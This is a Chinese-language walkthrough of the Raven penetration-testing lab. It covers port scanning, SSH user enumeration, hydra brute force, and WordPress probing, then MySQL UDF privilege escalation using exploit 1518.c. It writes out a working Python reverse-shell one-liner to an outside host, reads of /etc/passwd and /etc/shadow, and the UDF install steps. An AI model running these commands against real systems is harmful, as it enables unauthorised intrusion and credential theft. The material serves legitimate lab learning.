raven(mysql-udf提权)

port scan

1
2
3
4
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
OS details: Linux 3.2 - 4.8

有点眼熟,rpcbind,以前遇到过

rpc远程过程调用,似乎是用来文件共享的。 顺便检查下2049端口,nfs关闭。

Info Enum

22

OpenSSH < 7.7 可以枚举存在的用户 1

1
2
3
python ssh.py --userList /root/Desktop/dictionary.txt --outputFile out.txt 192.168.2.133
cat out.txt | grep -v 'not'
awk '{print $1}' out.txt > name.txt

得到了系统存在的账号字典name.txt

80:

cms: wordpress version 4.8.7 Apache/2.4.10 后台:http://192.168.2.133/wordpress/wp-login.php

1
2
3
4
OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory 
  • wpscan wpscan --url "http://192.168.2.133/wordpress/" --enumerate p Scan Aborted: Unable to identify the wp-content dir, please supply it with –wp-content-dir

wpscan --url "http://192.168.2.133/wordpress/" --wp-content-dir "/wordpress" --enumerate u --enumerate p 这个版本比较高,参考| 4.9.4 | 2018年2月8日 |

try1-hosts文件

测试弱口令时,遇到一个跳转

http://192.168.2.133/wordpress/wp-login.php http://raven.local/wordpress/wp-login.php 于是 echo 192.168.2.133 raven.local >> /etc/hosts

try2-rpc不明服务

在遇到有不明端口的时候,我总是再全端口扫描一遍。

1
2
3
4
5
nmap -p- -Pn -T4 192.168.2.133 -vv

80/tcp    open  http    syn-ack ttl 64
111/tcp   open  rpcbind syn-ack ttl 64
43192/tcp open  unknown syn-ack ttl 64
1
2
3
nmap -sV -p 43192 192.168.2.133 --version-intensity 9
PORT      STATE SERVICE VERSION
43192/tcp open  status  1 (RPC #100024)

搜索了一遍,并不知道rpc有啥exp可用

try3-ssh低版本用户枚举

之前我们在22ssh中,获得了name.txt

然后用burp intruder,又获得了两个存在的用户。 michael、steven 2

wpscan --url "http://192.168.2.133/wordpress/" --wp-content-dir "/wordpress" --passwords /usr/share/wordlists/rockyou.txt --usernames michael 爆破这两个口令,然后继续探测

try4-爆破root口令

hydra -l root -P /usr/share/wordlists/rockyou.txt -I 192.168.2.133 ssh

try5-web敏感文件

.DS_Store文件泄露

python ds_store_exp.py http://192.168.2.133/.DS_Store 23

?如何提取出.DS_Store这个文件中的信息

邮箱信息

  • ‘users@httpd.apache.org’, referenced from : /manual/en/ssl/ssl_faq.html

  • ‘raj@cup.hp.com’, referenced from : /manual/en/platform/perf-hp.html


突破防线

name.txt:

1
2
3
michael
steven
root

hydra -L name.txt -P /usr/share/wordlists/rockyou.txt -I 192.168.2.134 ssh ssh弱密码。通过前面的信息搜集,没想到这么简单就得到了一个shell。

3

尝试提权

内核漏洞check

1
whereis gcc 

Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

用了好几个内核漏洞尝试提权,失败。

4 如果成功,应该显示Done! Check /etc/passwd to see if the new user was created.

You can log in with the username ‘firefart’ and the password ‘a’.


sudo权限检查

1
2
sudo -l
Sorry, user michael may not run sudo on raven.

michael不在sudoer用户组里。


suid.sh检查失败


ps -ef 和 ps aux区别

linux有许多版本,都是查看进程的,ps = process status,区别不大。 5 6

ps -ef | grep root 查看root用户运行的进程

netstat -an | grep 3306 查看端口状态 tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN

邮件

7 检查了mail,发现了邮件。没有发现特别有用的。 检查crontab,发现有一个从没见过的文件权限T。

1
2
michael@Raven:/var/spool/cron$ file crontabs
crontabs: sticky, directory

linux文件特殊权限:

1
2
3
现在我们要创建这样一个目录,我们可以在这个目录里创建文件,但是其他用户不能删除这个文件。

t权限的作用:只有目录/文件所有者能够删除该文件。

MySQL登陆

mysql -u root -p 尝试登陆数据库,登陆失败,不知道密码

  • cd /; find . -name "wordpress" 查找一下web目录,可能有备份文件之类的,去检查一下。 以下是感兴趣的目录:

    /var/www/html/wordpress find: `./var/log/mysql’: Permission denied

8

1
2
3
4
5
6
7
8
9
10
11
12
mysql -u root -p 
R@v3nSecurity 成功登陆mysql db

select load_file('/etc/passwd'); 可以查看passwd

select load_file('/etc/shadow');不能查看该文件

select sys_exec("cat /etc/shadow > /tmp/shadow");  尝试提取shadow文件,函数不存在
ERROR 1305 (42000): FUNCTION sys_exec does not exist  

select VERSION();   查看mysql版本
5.5.60-0+deb8u1

搜索了一下,发现sys_exec(),提示该函数不存在的原因:sys_exec is not a standard mysql function. It’s provided by an external UDF plugin, and must be installed separately

sys_exec不是标准的函数,udf插件需要单独安装。

这种方式看来是行不通了。


检查rwx权限

1
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.2.128',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" > debianbts.py

9

检查一下权限错误,虽然有rwx,但是是shared obj,不能插入命令。


PHPMailer命令执行

192.168.2.134/vendor/changelog.md 得到:Version 5.2.17 (December 9th 2016)

PHPMailer 6.0

1
2
3
searchsploit PHPMailer
searchsploit -m exploits/php/webapps/40974.py
http://192.168.2.134/vendor/class.phpmailer.php

现在有普通权限,web命令执行就算成功了也要提权啊。


writeup

udf提权,以前做过udf提权,但时间仓促,没有深入理解。

如何安装UDF plugin

1
2
3
searchsploit mysql udf
searchsploit -m exploits/linux/local/1518.c
cat /root/1518.c

运行前查看代码是一个合格的渗透工程师应有的基本守则。

1
2
3
4
5
6
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/tmp/1518.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
 * mysql> create function do_system returns integer soname '1518.so';
 * mysql> select * from mysql.func;

接下来,用do_system反弹一个bash shell。

10

总结

参考资料:wooyun——MySQL和PostgreSQL数据库安全配置

有问题的地方:gcc参数的编译

1
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

gcc编译链接命令有点不熟悉。以前只用过最简单的-o,以后再学下。

吃饭吃饭~~